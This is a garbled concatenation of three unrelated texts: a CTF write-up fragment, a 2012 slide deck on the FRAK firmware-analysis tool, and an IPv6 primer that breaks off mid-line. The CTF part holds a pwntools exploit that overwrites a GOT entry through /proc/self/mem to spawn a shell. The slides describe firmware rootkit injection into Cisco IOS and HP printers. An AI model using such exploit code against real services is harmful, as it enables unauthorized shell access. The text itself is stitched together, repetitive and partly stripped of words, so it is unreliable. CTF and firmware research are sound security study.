io.recvuntil('\xb0\x8f\x3a') io.sendline(str(size)) io.recvuntil('\x9d\x97\x3a') io.send(content) name = 'B1rd' io.recvuntil('FTP:') io.sendline(name) read_mod('/proc/self/maps', 0, 0x100) elf_base = int(io.recvn(8), 16) log.info('elf_base:%#x' % elf_base) elf = ELF('fileManager') read_mod('/proc/self/mem', elf_base + elf.got['open'], 0x100) libc_addr = u32(io.recvn(4)) - libc.symbols['open'] system_addr = libc_addr + libc.symbols['system'] log.info('libc_addr:%#x' % libc_addr) log.info('system_addr:%#x' % system_addr) Re PLC = = sleep_ms10shell write_mod('/proc/self/mem', elf_base + elf.got['open'], 5, p32(system_addr)) io.recvuntil('\x87\xba\n') io.sendline('2') io.recvuntil('\xa7\xb0\x3a') io.sendline('/bin/sh') io.interactive() #include <cstdio> using namespace std; int f(int x, int y) { int a = 2544 / x; int b = 2544 / x / y; int i, j; int sum = 0; for (i = 0; i < b; ++i) { for (j = 0; j < y; ++j) { sum += x; } for (j = y - 2; j > 0; --j) { sum += x; } } return sum; } int main() { int max = 0; int i, j; for (i = 1; i <= 200; i++) { 168 5shell = = BOOM Hex MODBUS TCP/IP https://www.rtaautomation.com/technologies/modbus-tcpip/ { for (j = 1; j <= 100; j++) { if (f(j, i) > max - 200) { printf("%d %d %d\n", i, j, f(j, i)); max = f(j, i); } } } return 0; } flag{kfasdgg3g56h6h6jkga54jkgsj6j23} 192.168.138.132-->47.104.188.199 0000000000067e039bca0001 47.104.188.199-->192.168.138.132 0000000000057e0302a397 192.168.138.132-->47.104.188.199 0001000000067e0327d20001 47.104.188.199-->192.168.138.132 0001000000057e0302a255 192.168.138.132-->47.104.188.199 0002000000067e0343430001 47.104.188.199-->192.168.138.132 0002000000057e030253be 192.168.138.132-->47.104.188.199 0003000000067e03a0720001 47.104.188.199-->192.168.138.132 0003000000057e0302f1fc 192.168.138.132-->47.104.188.199 0004000000067e03009a0001 47.104.188.199-->192.168.138.132 0004000000057e03020032 ... 192.168.138.132UI0x7e+0x9a147.104.188.199 “” ﬂag: flag{booomoXxb00mBBAmBoom00Xxxx} PLCbin https://github.com/ameng929/NOE77101_Firmware/tree/master/FLASH0/wwwroot/conf /exec http://mp.weixin.qq.com/s? __biz=MzA5OTMwMzY1NQ==&mid=207094710&idx=1&sn=13fc594d15729bd7e001a48b90d827c4&s cene=4%23wechat_redirect binbinWinHex 7bytes ida ... 192.168.138.132-->47.104.188.199 0004000000067e03009a0001 47.104.188.199-->192.168.138.132 0004000000057e03020032 ... 192.168.138.132-->47.104.188.199 0022000000067e03009a0001 47.104.188.199-->192.168.138.132 0022000000057e03020033 ... 192.168.138.132-->47.104.188.199 0045000000067e03009a0001 47.104.188.199-->192.168.138.132 0045000000057e03020034 ... 192.168.138.132-->47.104.188.199 0063000000067e03009a0001 47.104.188.199-->192.168.138.132 0063000000057e03020035 ... 0000000000067e10009a000102ffff booomoXxb00mBBAmBoom00Xxxx 1AC0F3: 02 01 1AC0F8: 3B 7D 1AC0F9: C9 3E 1AC0FA: FF 4B 1AC0FB: FF 78 1AC14F: 35 36 1AC16B: 41 42 VxEncrypt https://github.com/ilovepp/z3_loginDefaultEncrypt py Misc 16docxrreq uuidtagjpxjpeg2000 smarNCGw10 wPhotoshoptext(3ijnhygvfr)Hﬂag3Whex:3377	pdf
7.27.2012 frak.redballoonsecurity.com R E D BALLOON S e c u r i t y { Ang Cui \| [email protected] } www.redballoonsecurity.com FIRMWARE R E V E R S E A N A L Y S I S K O N S O L E W H O A M I W H A T D O I D O 7.27.2012 frak.redballoonsecurity.com [email protected] W H O A M I W H A T D O I D O 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University 7.27.2012 frak.redballoonsecurity.com [email protected] 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University Co-Founder and CEO Red Balloon Security Inc. www.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com W H O A M I W H A T D O I D O [email protected] 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University Co-Founder and CEO Red Balloon Security Inc. www.redballoonsecurity.com Past publications: •  Pervasive Insecurity of Embedded Network Devices. [RAID10] •  A Quantitative Analysis of the Insecurity of Embedded Network Devices. [ACSAC10] •  Killing the Myth of Cisco IOS Diversity: Towards Reliable Large-Scale Exploitation of Cisco IOS. [USENIX WOOT 11] •  Defending Legacy Embedded Systems with Software Symbiotes. [RAID11] •  From Prey to Hunter: Transforming Legacy Embedded Devices Into Exploitation Sensor Grids. [ACSAC11] 7.27.2012 frak.redballoonsecurity.com W H O A M I W H A T D O I D O [email protected] 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University Co-Founder and CEO Red Balloon Security Inc. www.redballoonsecurity.com Past Embedded Tinkerings: •  Interrupt-Hijack Cisco IOS Rootkit 7.27.2012 frak.redballoonsecurity.com W H O A M I W H A T D O I D O [email protected] Interrupt-Hijack Rootkit [blackhat USA 2011] 7.27.2012 frak.redballoonsecurity.com [email protected] 5th Year Ph.D. Candidate Intrusion Detection Systems Lab Columbia University Co-Founder and CEO Red Balloon Security Inc. www.redballoonsecurity.com Past Embedded Tinkerings: •  Interrupt-Hijack Cisco IOS Rootkit •  HP LaserJet Printer Rootkit 7.27.2012 frak.redballoonsecurity.com W H O A M I W H A T D O I D O [email protected] HP-RFU Vulnerability HP LaserJet 2550 Rootkit [28c3] Firewall Network Printer Attacker Server 1. Reverse Proxy Printer -> Attacker 2. Reverse Proxy Printer -> Victim 3. Attacker -> Server Via Reverse Proxy 4. Win: Reverse Shell Server -> Kitteh 7.27.2012 frak.redballoonsecurity.com [email protected] WORKFLOW [Cisco IOS ROOTKIT] 7.27.2012 frak.redballoonsecurity.com [email protected] WORKFLOW [Cisco IOS ROOTKIT] 7.27.2012 frak.redballoonsecurity.com [HP LaserJet Rootkit] [email protected] WORKFLOW [Cisco IOS ROOTKIT] 7.27.2012 frak.redballoonsecurity.com [HP LaserJet Rootkit] [Software Symbiotes for Routers, Phones, Printers] [email protected] 7.27.2012 frak.redballoonsecurity.com Original Binary Firmware Image Firmware Analysis Firmware Modification [email protected] 7.27.2012 frak.redballoonsecurity.com Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Original Binary Firmware Image Firmware Analysis Firmware Modification 7.27.2012 frak.redballoonsecurity.com Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Original Binary Firmware Image Firmware Analysis Firmware Modification 7.27.2012 frak.redballoonsecurity.com Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest Original Binary Firmware Image Firmware Analysis Firmware Modification 7.27.2012 frak.redballoonsecurity.com Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Original Binary Firmware Image Firmware Analysis Firmware Modification 7.27.2012 frak.redballoonsecurity.com Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification 7.27.2012 frak.redballoonsecurity.com Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Firmware Analysis Firmware Modification REpacking Process Modified Binary Firmware Image 7.27.2012 frak.redballoonsecurity.com Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Original Binary Firmware Image Firmware Analysis Firmware Modification Unpacking Process Parse Package Manifest De{crypt,compress} Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Known Format or Proprietary Format? Sub-Record / FileSystem Extraction Original Binary Firmware Image Firmware Analysis Firmware Modification Firmware Analysis Firmware Modification REpacking Process Modified Binary Firmware Image Known Format or Proprietary Format? Re-Pack Modified Sub-record / File System Re-{crypt,compress}, Recalculate Checksum, etc Known Algorithm or Proprietary Algorithm? Record Encrypted? Record Compressed? Record Checksummed? Record Digitally Signed? Firmware Analysis Firmware Modification REpacking Process Modified Binary Firmware Image Regenerate Package Manifest Reasons why Ang stays home on Friday night 7.27.2012 frak.redballoonsecurity.com [email protected] Reasons why Ang stays home on Friday night Payload Design 7.27.2012 frak.redballoonsecurity.com [email protected] Reasons why Ang stays home on Friday night Payload Developement Payload Design 7.27.2012 frak.redballoonsecurity.com [email protected] Reasons why Ang stays home on Friday night Payload Developement Payload Testing Payload Design 7.27.2012 frak.redballoonsecurity.com [email protected] Reasons why Ang stays home on Friday night Payload Developement Payload Testing Payload Design Payload Developement Payload Testing Payload Design STARE @ BINARY BLOB 7.27.2012 frak.redballoonsecurity.com [email protected] 7.27.2012 frak.redballoonsecurity.com Such Mystery! [email protected] Payload Design Payload Developement Payload Design Payload Developement Payload Testing Payload Design Payload Developement Payload Testing Payload Design STARE @ BINARY BLOB Payload Developement Payload Testing Payload Design STARE @ BINARY BLOB THIS PART L 7.27.2012 frak.redballoonsecurity.com [email protected] Payload Design Payload Developement Payload Design Payload Developement Payload Testing Payload Design Payload Developement Payload Testing Payload Design STARE @ BINARY BLOB 7.27.2012 frak.redballoonsecurity.com This part Is IMPORTANT [email protected] F R A K irmware everse nalysis onsole [Better Living Through Software Engineering] 7.27.2012 frak.redballoonsecurity.com [email protected] Payload Design Payload Developement Payload Design Payload Developement Payload Testing Payload Design Payload Developement Payload Testing Payload Design STARE @ BINARY BLOB Payload Developement Payload Testing Payload Design STARE @ BINARY BLOB THIS PART L 7.27.2012 frak.redballoonsecurity.com [email protected] F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE UNPACKING ENGINE REPACKING ENGINE [email protected] Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com UNPACKING ENGINE REPACKING ENGINE UNPACKING ENGINE REPACKING ENGINE HP-RFU Module Cisco IOS Module Cisco-CNU Module XYZ-Format Module HP-RFU Module Cisco IOS Module Cisco-CNU Module XYZ-Format Module [email protected] F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE [email protected] F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Agnostic [email protected] F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Agnostic Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE Device/Vendor Agnostic [email protected] 7.27.2012 frak.redballoonsecurity.com Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Agnostic Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE Device/Vendor Agnostic Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Agnostic Cisco IOS Module F R A K irmware everse nalysis onsole [email protected] F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Agnostic Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE Device/Vendor Agnostic Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE Device/Vendor Agnostic [email protected] F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Agnostic Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE Device/Vendor Agnostic Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE Device/Vendor Agnostic Device/Vendor Dependent Analysis Engine Modification Engine UNPACKING ENGINE REPACKING ENGINE Device/Vendor Agnostic [email protected] 7.27.2012 frak.redballoonsecurity.com F R A K irmware everse nalysis onsole [Better Living Through Software Integration] [email protected] 7.27.2012 frak.redballoonsecurity.com F R A K irmware everse nalysis onsole [Better Living Through Software Integration] [email protected] 7.27.2012 frak.redballoonsecurity.com F R A K irmware everse nalysis onsole [Better Living Through Software Integration] [email protected] 7.27.2012 frak.redballoonsecurity.com F R A K irmware everse nalysis onsole [Better Living Through Software Integration] More integration on the way [email protected] F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com F R A K irmware everse nalysis onsole 7.27.2012 frak.redballoonsecurity.com [email protected] F R A K irmware everse nalysis onsole Unpack, Analyze, Modify, Repack: Cisco IOS 7.27.2012 frak.redballoonsecurity.com [email protected] Payload Developement Payload Testing Payload Design STARE @ BINARY BLOB 7.27.2012 frak.redballoonsecurity.com Without FRAK! [email protected] With FRAK! 7.27.2012 frak.redballoonsecurity.com Payload Developement Payload Testing Payload Design STARE @ BINARY BLOB [email protected] E N O U G H T A L K D E M O T I M E 7.27.2012 frak.redballoonsecurity.com •  Packer/Repacker for Cisco IOS, HP-RFU •  Automagic Binary Analysis •  IDA-Pro Integration •  Entropy-related Analysis •  Automated IOS/RFU Rootkit Injection [email protected] 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com Entropy map of ﬁrmware image. White: high entropy data Black: low entropy data Small low random header and footer. Large amount of random data. Hmm! [email protected] 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com Entropy map of header. Look familiar? Let’s unpack the middle pkzip record. cmd: unpack /1 generic-‐unzip [email protected] 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com Entropy map of unzipped record. Does the structure look familiar? 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com I wonder what the johnface file contained. Hrm… Let’s fire up dynamips and find out. 7.27.2012 frak.redballoonsecurity.com 7.27.2012 frak.redballoonsecurity.com -‐) [email protected] Frak unpacking A HP-RFU Image 7.27.2012 frak.redballoonsecurity.com FRAK is still WIP. For Early Access Contact [email protected] 7.27.2012 frak.redballoonsecurity.com [email protected] 7.27.2012 frak.redballoonsecurity.com FRAK Page: http://frak.redballoonsecurity.com [email protected] FRAK is still WIP. For Early Access Contact [email protected] 7.27.2012 frak.redballoonsecurity.com FRAK Page: http://frak.redballoonsecurity.com Thank you DARPA Cyber Fast Track! [email protected] FRAK is still WIP. For Early Access Contact [email protected] 7.27.2012 frak.redballoonsecurity.com { Ang Cui \| [email protected] } www.redballoonsecurity.com	pdf
IPv6 Primer Gene Cronk – CISSP, NSA-IAM SME – North American IPv6 Task Force Systems Admin – The Robin Shepherd Group [email protected] Why IPv6? Quick History • 1992 • Internet Engineering Task Force (IETF) • Global shortage of IPv4 addresses • Technical limitations of IPv4 • 1993 • RFC1550 created • 1995 • Next generation internet protocol (IPv6) chosen as IPng (IP Next Generation) Why IPv6? Comparison with IPv4 • IPv4 • 32 bit address space (4.3 billion possible addresses) • IPv6 • 128 bit address space (3.4 * 10^38 or 340 undecillion addresses) • 64 billion IPs for every square centimeter on earth Why IPv6? Comparison with IPv4 • IPv4 • 20 some odd years ago • Many band-aids applied to address needs • IPv6 • Integrates many network improvements made over that time Why IPv6? Comparison with IPv4 • Stateless autoconfiguration • IPv4 • DHCP server is possible, but not mandatory. • IPv6 • Automagic Link Local address as soon as you boot the machine (see RFC 2462) • Mechanism is similar to getting a 169.xxx.xxx.xxx address on boot in IPv4 Why IPv6? Comparison with IPv4 • Security & QoS • IPv4 •IPSec and QoS are add-ons • IPv6 •Encryption, IPSec and QoS built in Why IPv6? Comparison with IPv4 • A cure for routing table growth • IPv4 • Backbone routing table size has become a monsterous headache to ISPs and backbone operators. (113,000 as of 2003) • IPv6 • Maximum amount of routes a router will see in the default-free zone is 8192. Why IPv6? Comparison with IPv4 ● From www.mcvax.org/~jhma/routing/bgp-hist.html : Why IPv6? Comparison with IPv4 • Roaming becomes much easier • Use of Mobile IPv6 and AnyCast • Cell phone roaming much cleaner • Cell phone can automatically identify new routing information from a new tower • Cell phone keeps the same IP Why IPv6? Comparison with IPv4 • IPv6 reestablishes end to end connectivity • The internet was originally designed for hosts to communicate directly with each other • One of the “fixes” to keep IPv4 working (NAT) breaks end to end connectivity What do I need to know about IPv6? ● 6Bone ● Experimental IPv6 beta network ● IPv6 “Islands” connected via IPv4 tunnels ● Connectivity ● Native ● Tunnel Broker and other tunneling methods ● Number of networks continues to grow ● http://www.cs-ipv6.lancs.ac.uk What do I need to know about IPv6? ● Global adoption ● Earliest adopters ● Asia -- Japan & China expect full conversion by 2005 ● European Union ● Resistive adopters ● United States ● US has roughly 70% of the world's IPv4 addresses ● Detractors claim excessive level of effort to implement ● New Developments ● US DoD mandated all new network infrastructure equipment be IPv6 capable as of 10/2003 ● Full conversion for DoD expected by 2008 ● NTT/Verio, SpeakEasy, Hurricane Electric and others ● Moonv6 Project (http://www.moonv6.org) IPv6 – Addressing ● 3ffe:80ee:16f9:3481:efab:1092:aaaa:3ff1 ● Each block in the address represents 16 bits ● Just 2 words of an IPv6 address cover the entire IPv4 internet ● The first word defines the type of address ● 3ffe -- 6 Bone address (experimental globally routable IP) ● Depreciated in leiu of 2001:: addresses (RFC 3701) ● fe80 -- Link Local address, used to get information about the network (routers, etc.) ● ::1 -- localhost (127.0.0.1 in the IPv4 world) ● :: -- equivalent to 0.0.0.0 IPv6 – Addressing EUI-64 ● Extended Unique Identifier (EUI-64) ● Clients can receive IPv6 address based on MAC ● 64 bit prefix assigned by Router Advertiser or DHCPv6, last 64 bits assigned by EUI-64 ● FF-FE inserted between 3rd and 4th bytes ● 00-0B-3C-F4-22-CE becomes 00-0B-3C-FF-FE-F4-22-CE IPv6 – Addressing EUI-64 ● Using MAC address as part of IP considered a privacy issue ● Not addressed in RFC 2373 ● RFC 3041 describes a randomly-generated interface identifier that changes over time to provide a level of anonymity IPv6 – Addressing • 2001 -- production globally routable IPv6 networks • 2002 -- used for automatic 6to4 tunneling • FEC0 – (Site Local Address) equivalent to 192.168.xxx.xxx/24 or 10.xxx.xxx.xxx/8 addresses (DEPRECIATED). ● To be replaced by FC00::/7 • FF01, FF02 and FF05 are multicast addresses IPv6 – OS Support ● FreeBSD, OpenBSD, NetBSD, Apple OSX and BSDi -- include the Kame IPv6 stack ● http://www.kame.net ● IPv6 is enabled by default ● Linux kernel 2.4.xx -- very buggy IPv6 implementation ● can be augmented by patches from the USAGI project ● http://www.linux-ipv6.org ● USAGI is a port of the KAME project to Linux ● Linux kernel 2.6.xx -- USAGI patches included by default ● Solaris 8.x and above -- native support ● Novell Netware 6.x and above – native support ● load BSDSOCK.NLM IPv6 – OS Support ● Windows 9x/Me -- no Microsoft supported IPv6 capability ● Windows NT 4 -- very early beta IPv6 stack ● Windows 2000 -- beta quality IPv6 stack ● Windows XP and Windows 2003 Server -- IPv6 stacks built in ● Typing “ipv6 install” in a command shell (Windows XP) or adding the stack in network properties (Windows XP/2003) enables these stacks. ● “netsh” to control IPv6 from CLI (Windows XP/2003) IPv6 – Tunnel Brokers ● Top North American IPv6 Providers ● NTT/Verio, Freenet6, Hurricane Electric (SpeakEasy soon) ● NTT/Verio ● Supplies tunnelling services to its customers in urban and rural areas ● Hurricane Electric and Freenet6 ● Open tunnelling servers ● Anyone with an IPv4 address can tunnel IPv6 ● http://www.tunnelbroker.net (static v4 IP) ● http://www.freenet6.net (dynamic v4 IP) ● Other tunnel brokers available worldwide ● Most only require on-line registration IPv6 – Tunnelling & Transition Methods • ISATAP (Intra Site Automatic Tunnelling Addressing Protocol -- ::0:5EFE:w.x.y.z prefix) • 6to4 (Tunnel Brokers – 3ffe or 2001 prefix) • Automatic 6to4 (Dynamic Tunnels – 2002 prefix) • Teredo and Silkroad (6to4 tunnelling over UDP) • NAT/PT (Network Address Translation/Protocol Translation) • Bump In The Stack/Bump In The API (BIS/BIA) • Dual Stack Transitioning Mechanism (DSTM) • Transport Relay Translator (TRT) IPv6 – Tunnelling & Transition Methods -- ISATAP ● Used mostly for IPv6 connectivty between hosts on a LAN, VLAN or WAN ● Requires a 6to4 gateway for packets to leave the local LAN ● Can be used for an IPv6 NAT ● IPv6 address includes IPv4 address. ● 2002:836B:1:5:0:5EFE:10.40.1.29 ● IPv4 becomes the link layer for IPv6 IPv6 – Tunnelling & Transition Methods -- 6to4 Via a Tunnel Broker ● Currently the most popular way to connect via IPv6 ● Requires IP Protocol Type 41 ● Does not work with NAT'ed IPv4 hosts unless the host is a 1 to 1 NAT ● Most tunnel brokers will give a /48 or a /64 subnet for the rest of your network ● /48 = 1,208,925,819,614,629,174,706,176 IPs ● /64 = 18,446,744,073,709,551,616 IPs ● Very easy to set up and change ● Frequently used as an attack vector, since tunnels can be set up to different countries easily ● http://www.sixxs.net has a 6to4 proxy that only shows the IPv6 source address IPv6 – Tunnelling & Transition Methods -- 6to4 Via Auto Tunnelling ● Fairly easy to set up ● Convert your IPv4 address to hex, then put a 2002 in front of it: ● 69.3.46.44 becomes 2002:4503:2e2c::/48 ● One IPv4 IP becomes a /48 subnet for IPv6 ● Set default route for IPv6 traffic to 192.88.99.1 ● Uses BGP to find the nearest 6to4 router and connect to the IPv6 internet ● Security questionable ● you have little choice where your traffic is routed ● Windows XP SP1 auto tunnels by default ●Not included with OpenBSD IPv6 – Tunnelling & Transition Methods -- Teredo ● Allows IPv6 tunnelling though NAT servers using UDP traffic ● Uses port 3544 UDP by default ● Port can be changed (to say, ports 53 or 500?) ● Microsoft and FreeBSD have the only implementations. ● Windows XP SP1 only has a Teredo client ● Kernel modules have been written for FreeBSD to be both a server and relay ● Could very easily be used as an attack vector ● UDP traffic not commonly monitored ● UDP not locked out at firewalls ● Considered a “last ditch” IPv6 tunnelling mechanism ● Draft calls for use of 3FFE:831F::/32 ONLY ● Does not allow tunnelling through restricted NATs IPv6 – Tunnelling & Transition Methods -- SilkRoad ● Allows for IPv6 tunnelling though NAT servers using UDP traffic ● Uses port 5188 UDP currently ● No current implementations ● Could also easily be used as an attack vector ● Allows for any address range to be used (not just 3ffe:831F::/32) ● VERY new draft ● Allows tunnelling through any type of NAT server IPv6 – Tunnelling & Transition Methods -- NAT/PT ● Network Address Translation/Protocol Translation ● RFC 2766 ● IPv6 hosts send requests to a dual-stacked gateway ● Gateway decides if the remote address is IPv4 or IPv6 ● Routes the packet as normal if destination is IPv6 ● Converts the packet to IPv4 with special header information if the destination is IPv4 ● Converts the returning packet to IPv6 and routes it back to the originating host ● Cisco has the only production quality implementation ● Technology is similar to an IPX/SPX only network connecting to hosts on the IPv4 internet IPv6 – Tunnelling & Transition Methods -- BIS/BIA ● Bump in the Stack/Bump in the API ● Bump in the Stack – RFC 2767 ● Bump in the API – RFC 3338 ● Used on dual stacked hosts to proxy programs that are IPv4 only or IPv6 only to use the other protocol ● Security is questionable ● Windows XP and 2003 include “port proxy” IPv6 – Tunnelling & Transition Methods -- DSTM ● Dual Stack Transitioning Mechanism ● Based on dynamic IPv4 over IPv6 tunnels. ● Temporary assignment of global IPv4 addresses to IPv6 hosts. ● Allows IPv4 only apps to run in an IPv6 environment ● Requires DSTM gateway and server ● Multi-platform ● Minimizes need for IPv4 IPs IPv6 – Tunnelling & Transition Methods -- TRT ● Transport Relay Translator ● Works as a DNS Proxy ● TRT server translates IPv4 addresses to IPv6 ● fec0:0:0:0:ffff::/64 + 193.99.144.71 becomes ● fec0:0:0:0:ffff:0:0:c163:9047 ● BSD and Linux implementations ● Based on TOTD and FAITHD (BSD) or pTRTd (Linux) ● RFC 3142 IPv6 – Router Advertising ● Allows your IPv6 border router to broadcast its existence ● Advertises to clients their IPv6 prefix and default route ● Differs from DHCP ● Can only broadcast a default route and address prefixes ● Cannot assign DNS, WINS, etc. ● RA server is available in most IPv6 capable OSes IPv6 – DHCPv6 ● Combines the functionality of router advertising and DHCPv4 ● Currently in alpha stages in most implementations ● Cisco's DHCPv6 stack -- considered production quality ● Provides prefix delegation ● Facilitates distribution of IPs, default routes, DNS and WINS servers, and other options available in DHCPv4 IPv6 – Security ● Firewalling IPv6 ●IPFW, PF for BSD ●ip6tables for Linux ●Built-in firewall in Windows XP ●Controlled by the “netsh” command ●No IPv6 firewall in Windows 2003 IPv6 – Security • Windows 2003 • No IPv6 support • Windows XP before Advanced Networking Pack • No IPv6 support in firewall • Consumer Firewall Applications for Windows • Most HIDS to date • MIGHT pick up 6to4 traffic or IPv4 DNS lookups • Do not defend against native IPv6 traffic IPv6 – Security • Blocking UDP and IP Protocol Type 41 traffic • Scanning for router advertisements using tools such as Ethereal • As always, if not using the protocol, don't enable it... IPv6 – DNS IPv4 – A Record www.hacksonville.org A 192.168.254.111 IPv6 – AAAA Record www.hacksonville.org AAAA \ 